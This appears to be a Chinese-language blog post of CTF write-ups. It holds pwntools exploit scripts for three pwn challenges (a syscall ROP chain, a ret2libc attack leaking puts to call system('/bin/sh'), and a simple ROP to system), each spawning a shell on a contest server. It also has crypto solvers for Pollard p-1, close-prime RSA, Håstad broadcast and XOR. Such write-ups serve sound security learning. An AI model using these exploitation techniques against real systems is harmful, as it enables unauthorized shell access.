Share interesting things

9.3

这题属实是把我累坏了,请教了师傅好久[emo]

先上exploit,后续补上分析!

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
io= remote("1.container.jingsai.apicon.cn",32376)
#io=process("../vuln")

rdi=0x4012e3
rdx_rsi_rdi_syscall=0x401197
str1=0x404080

p=cyclic(0x28)
p+=p64(rdx_rsi_rdi_syscall)
p+=p64(0)+p64(0)+p64(str1)
io.recv()

#gdb.attach(io)
io.sendline(p)
io.recv()

p2=b'/bin/sh\x00'+cyclic(50)
io.sendline(p2)

io.interactive()

smooth——crypto

0829

import gmpy2
from Crypto.Util.number import *

def Pollards_p_1(N):
a = 2
n = 2
while True:
a = pow(a, n, N)
res = gmpy2.gcd(a-1, N)
if res != 1 and res != N:
print ('n ='), n
print ('p ='), res
return res
n += 1

e = 0x10001
n = ....#省略
enc = ....#省略
p = Pollards_p_1(n)
q = n // p
assert p*q == n
d = gmpy2.invert(e, (p-1)*(q-1))
m = pow(enc, d, n)
print(long_to_bytes(m))

REPEAT——pwn(*)

0829

考点:ret2libc

1.exploit

from pwn import *
from LibcSearcher import *

#sh = process('../vuln')
sh = remote('1.container.jingsai.apicon.cn',31547)
elf = ELF('../vuln')

duiqi = 0x40101A
rdi = 0x4012C3
got = elf.got['puts']
plt = elf.plt['puts']
main_addr = 0x40120B

sh.recvuntil(b'By the way, I removed the system function this time.\n')

p = b'a' * 40
p += p64(rdi) + p64(got)
p += p64(plt)
p += p64(main_addr)

sh.sendline(p)
haha=sh.recv(96)
print(haha)
myaddr = u64(sh.recv(6).ljust(8, b'\x00'))
print(hex(myaddr))

sh.recvuntil(b'By the way, I removed the system function this time.\n')

#libc = LibcSearcher("write",myaddr)
libc = ELF('../libc-2.31.so')

#libcbase = myaddr - libc.dump("write")
libcbase = myaddr - libc.symbols['puts']

#sys_addr=libcbase+libc.dump('system')
#bin_sh=libcbase+libc.dump('str_bin_sh')
sys_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh'))
#next以将生成器转化为整数,与整数libcbase相加
print(hex(bin_sh))

p1 = b'a' * (32+8)+ p64(duiqi) +p64(rdi) + p64(bin_sh)+ p64(sys_addr)

sh.sendline(p1)
sh.interactive()

2.分析

文件:

一个vuln, 一个libc

checksec:
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护很弱,有NX,可以ROP

IDA:

system被移走了,要用ROP

ROPgadget:

发现rdi

3.反思

1.libcSearch找不到匹配文件,因此用题目提供的本地文件。

2.溢出的字符串存在于vuln的栈帧中,所以ROP的内容是在vuln结束执行之后才调用的

(非常重要!!就因为这个我卡了这么久!!!)

3.如果程序开启了ASLR的保护机制,每次泄露的地址就会变

4.泄露用的函数不一定要是write(容易出错),只要是IDA中有的function都是可以用的,比如puts,和用什么输出无关。

Introduce yourself again——pwn

date:20230827

注:比较懒,这篇记录就不作详细解析了

代码如下:

from pwn import *

binary = ELF('../vuln')
p = remote('1.container.jingsai.apicon.cn',31583)

# 如果 /bin/sh 在你的二进制文件或 libc 中
binsh_addr = next(binary.search(b"/bin/sh"))
# next用于将迭代器转化为地址。

# 如果你的二进制文件导入了 system 函数,否则你需要从 libc 中找到它
system_addr = binary.symbols['system']

# 构造ROP链
rop_chain = b'A' * 40 # 填充缓冲区(32+8)
rop_chain += p64(0x401283) # pop rdi ; ret 的地址

# return到了rdi之后,转到'system('/bin/sh')'
rop_chain += p64(binsh_addr) # /bin/sh 的地址
rop_chain += p64(system_addr) # system 函数的地址

p.sendline(rop_chain)
p.interactive()

ez_RSA——cypto

1

from gmpy2 import isqrt, invert
from sympy import isprime

n = 90938392456291254525076945024729747747760465730974669418706248227861886309375529663735627415245417634394729586919547147792773340180198391198314430274518933727253498184961383171260516587457792799707287325039224408079898775410581161837617160304998792211064631247289074677708936697313549567484094343014332084339
e = 65537
c = 45364797306235971944260226800635151351008146862295270630931485461400677931474845001179392584827173887899973869918030404844235023951265629425837039670402124263530793496501526611946694844071734068320021250788698711162051512227685780168559259017820474609757591818839612837707915716391578907729532072964242156512

x = isqrt(n)
# 一个开平方整数
while not (isprime(x) and isprime(n//x)):
x-=1
p = x
q = n // x
# “//” 是整除
# 保证p和q也是素数

phi_n = (p - 1) * (q - 1)
# ϕ(n)=(p−1)(q−1)

d = invert(e, phi_n)
#d 为 e 关于模 ϕ(n) 的逆元

m = pow(c, d, n)

print(m)

# Convert the number to bytes
b_res = m.to_bytes((m.bit_length() + 7) // 8, 'big')
# ->结果 = m转化为字节形式(位长 + 7 // 8 = 字节长度,大端模式)

# Decode the bytes to a string using UTF-8 encoding
str_res = b_res.decode('utf-8')

print(str_res)

modulus——crypto

方法一:

from Crypto.Util.number import *
from decimal import Decimal, getcontext


# 已知的值写在这里,由于太多就省略了


# 使用中国剩余定理求解C
N = n1 * n2 * n3
N1 = N // n1
N2 = N // n2
N3 = N // n3
u1 = inverse(N1, n1)
u2 = inverse(N2, n2)
u3 = inverse(N3, n3)

C = (c1 * u1 * N1 + c2 * u2 * N2 + c3 * u3 * N3) % N

# 使用牛顿法来近似计算C^(1/e)
def nth_root(x, n):
getcontext().prec = 100 # 设置很高的精度
guess = Decimal(x)
while True:
better_guess = ((n - 1) * guess + x / guess**(n - 1)) / n
if abs(guess - better_guess) < 1:
return +better_guess
guess = better_guess

m_recovered = nth_root(C, e)
flag_recovered = long_to_bytes(int(m_recovered))

print(flag_recovered)

方法二:

from Crypto.Util.number import *
from decimal import Decimal, getcontext


# 已知的值写在这里,由于太多就省略了

def recover_flag(c, n, e):
N = 1
for ni in n:
N *= ni

residues = [(N // ni) * inverse(N // ni, ni) for ni in n]
C = sum([ci * ri for ci, ri in zip(c, residues)]) % N

def nth_root(x, n):
getcontext().prec = 100
guess = Decimal(x)
while True:
new_guess = ((n - 1) * guess + x / guess**(n - 1)) / n
if abs(guess - new_guess) < 1:
return +new_guess
guess = new_guess

return long_to_bytes(int(nth_root(C, e)))

c = [c1, c2, c3]
n = [n1, n2, n3]
print(recover_flag(c, n, 17))

2

3

XOR——crypto

enc = b'\x89\x86\x17\x02RB\x87\xff\x01\x1c1J\x80\xae\x0c1eO\xba\xbd`*bU\xba\x90c3eK\xbe\xbb:,nD'
known_prefix = b"VIDAR{"

# Step 1: Recover the key from the known prefix
key = bytearray()
for i in range(len(known_prefix)):
key.append(known_prefix[i] ^ enc[i])

print(key)

# Now you have the first few bytes of the key. Let's attempt to decrypt the rest of the message.
# As the key is only 6 bytes, we need only the first 6 bytes to decrypt the entire message.

decrypted = bytearray()
for i in range(len(enc)):
decrypted.append(enc[i] ^ key[i % 6])

print(decrypted)